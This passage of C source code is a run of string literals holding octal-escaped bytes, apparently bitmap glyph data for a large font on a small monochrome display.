\"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\340\\360\\370\\374\\376\\377\\377\\177\\77\\77\\37\\37\\37\\17\\17\\17\\37\\37\\37\\77\\177\\377\\377\\376\\374\"\n  \"\\370\\360`\\0\\370\\377\\377\\377\\377\\377\\177\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\3\"\n  \"\\1\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\360\\360\\360\\0\\177\\377\\377\\377\\377\\377\\376\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\3\\17\\37\\77\\177\\377\\377\\377\\376\\374\\370\\360\\360\\340\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\377\\377\\377\"\n  \"\\377\\377\\177\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\3\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\377\\377\\377\\377\\377\\377\\377\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\"\n  \"\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\17\\17\\17\\17\\17\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\377\\377\\377\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\17\\17\\17\\17\\17\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\"\n  \"\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0 p\\370\\376\\377\\374\\370\\360\\340\\340\\340\\340\\340\\340\\360\\370\\377\\377\\377\\377\\377\\77\\37\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300\"\n  \"\\300\\300\\300@\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374\\376\\377\\377\\177\\77\\37\\17\"\n  \"\\7\\1\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\200\\300\\360\\370\\374\\376\\377\\377\\177\\77\\17\\7\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377~\\77\\37\\77\\377\\377\\377\\377\\371\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\1\\7\\17\\77\\177\\377\\377\\377\\376\\370\\360\\340\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\37\\77\\377\\377\\377\\377\\376\\370\"\n  \"\\360\\300\\200\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\\7\\7\"\n  \"\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\"\n  \"\\300\\300\\300\\300\\377\\377\\377\\377\\377\\377\\377\\376\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\37\\177\\377\\377\\376\\370\\340\\0\\0\\0\\0\\300\\360\\374\\377\\377\\177\\37\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\1\\7\\37\\177\\377\\377\\374\\374\\377\\377\\177\\37\\7\\1\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\1\\7\\7\\7\\7\\1\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\"\n  \"\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\377\\377\\377\\377\\377\\377\\377\\377\\376\\370\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\7\\37\\77\\377\\377\\377\\374\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\3\\17\\77\\177\\377\\377\\376\\370\\340\\300\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\177\\377\\377\\377\\374\\360\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\\7\"\n  \"\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\340\\370\\374\\376\\376\\377\\377\\177\\77\\37\\37\\37\\17\\17\\17\\37\\37\\77\\77\\177\\377\\377\\376\\374\\374\"\n  \"\\360\\340\\300\\0\\374\\377\\377\\377\\377\\377\\377\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\77\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\377\\377\\177\\377\\377\\377\\377\\377\\376\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\1\\7\\37\\77\\177\\377\\377\\377\\376\\370\\370\\360\\340\\340\\340\\340\\340\\340\\340\\360\\370\\374\\376\\377\\377\\377\\177\"\n  \"\\77\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\37\\37\\37\\77\\177\\377\\377\\377\\376\\374\"\n  \"\\370\\360\\200\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\301\\377\\377\\377\\377\"\n  \"\\377\\377\\177\\0\\0\\377\\377\\377\\377\\377\\377\\377\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\376\\376\\377\\177\\177\\177\\77\\37\\17\"\n  \"\\7\\3\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\340\\370\\374\\376\\376\\377\\377\\177\\77\\37\\37\\37\\17\\17\\17\\37\\37\\77\\77\\177\\377\\377\\376\\374\\370\"\n  \"\\360\\340\\200\\0\\374\\377\\377\\377\\377\\377\\377\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\77\\377\\377\"\n  \"\\377\\377\\377\\376\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\3\\17\\77\\177\\377\\377\\377\\377\\374\\370\\360\\340\\340\\340\\300\\300\\300\\340\\340\\360\\360\\370\\376\\377\\377\\177\\77\"\n  \"\\37\\7\\3\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\17\\17\\377\\377\\377\\377\\377\\377\\317\\207\\207\\7\\3\\1\\0\\200\\200\"\n  \"\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\37\\37\\77\\77\\77\\77\\77\\77\\77\\77\\77\"\n  \"\\77\\77\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\37\\37\\37\\77\\177\\377\\377\\377\\376\\374\"\n  \"\\370\\340\\200\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\341\\377\\377\\377\\377\"\n  \"\\377\\377\\77\\0\\0\\377\\377\\377\\377\\377\\377\\377\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\376\\376\\377\\177\\177\\77\\77\\37\\17\"\n  \"\\7\\1\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\1\\7\\17\\77\\377\\377\\377\\377\\374\\360\\340\\200\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\377\\377\\376\"\n  \"\\370\\340\\200\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\7\"\n  \"\\7\\7\\7\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\360\\370\\374\\376\\377\\377\\377\\77\\77\\37\\37\\37\\17\\17\\17\\37\\37\\37\\77\\177\\377\\377\\376\\376\\374\"\n  \"\\70\\20\\0\\0\\0\\0\\37\\177\\377\\377\\377\\377\\377\\370\\340\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\17\\17\\37\\37\\77\\77\\177\\177~\\376\\376\\374\\374\\370\\370\\360\\360\\340\\340\\300\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\17\\377\\377\\377\\377\"\n  \"\\377\\376\\370\\0\\0\\70~\\377\\377\\377\\376\\374\\370\\360\\360\\340\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\376\\377\\377\\377\\177\"\n  \"\\77\\37\\3\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\7\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\17\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\1\\17\\77\\177\\377\\377\\377\\377\\374\\370\\360\\360\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\376\\377\\377\\377\\377\\177\"\n  \"\\37\\17\\1\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\"\n  \"\\300\\300\\300\\300\\37\\377\\377\\377\\377\\377\\376\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\"\n  \"\\377\\377\\77\\7\\0\\0\\3\\37\\377\\377\\377\\377\\377\\374\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\377\\377\\177\"\n  \"\\17\\1\\0\\0\\0\\0\\0\\0\\0\\7\\77\\377\\377\\377\\377\\377\\370\\300\\0\\0\\0\\0\\200\\360\\377\\377\\377\\377\\177\\17\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\77\\377\\377\\377\\377\\376\\360\\340\\374\\377\\377\\377\\377\\37\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\177\\377\\377\\377\\377\\377\\377\\77\\7\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\"\n  \"\\300\\300\\300\\300\\377\\377\\377\\377\\377\\340\\0\\0\\0\\0\\0\\0\\0\\300\\374\\376\\376\\376\\360\\200\\0\\0\\0\\0\\0\\0\\300\\377\"\n  \"\\377\\377\\377\\377\\177\\377\\377\\377\\377\\377\\360\\0\\0\\0\\0\\300\\374\\377\\377\\377\\377\\377\\377\\377\\370\\200\\0\\0\\0\\300\\377\\377\"\n  \"\\377\\377\\377\\17\\0\\37\\377\\377\\377\\377\\377\\374\\0\\340\\376\\377\\377\\377\\37\\3\\7\\77\\377\\377\\377\\377\\370\\300\\340\\377\\377\\377\"\n  \"\\377\\377\\3\\0\\0\\0\\7\\377\\377\\377\\377\\377\\377\\377\\377\\377\\37\\1\\0\\0\\0\\0\\3\\77\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\77\\0\\0\\0\\0\\0\\0\\1\\177\\377\\377\\377\\377\\377\\37\\1\\0\\0\\0\\0\\0\\0\\0\\0\\3\\77\\377\\377\\377\\377\\377\\17\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\0\\0\\3\\17\\77\\177\\377\\377\\377\\376\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\377\\377\\377\\177\\37\"\n  \"\\7\\3\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\77\\377\\377\\377\\377\\374\\360\\300\\360\\370\\376\\377\\377\\377\\177\\37\\7\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\303\\377\\377\\377\\377\\377\\377\\377\\377\\377\\303\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\377\\377\\377\\377\\77\\17\\3\\17\\77\\177\\377\\377\\377\\376\\370\\340\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\340\\370\\376\\377\\377\\377\\177\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\77\\377\\377\\377\\377\\374\"\n  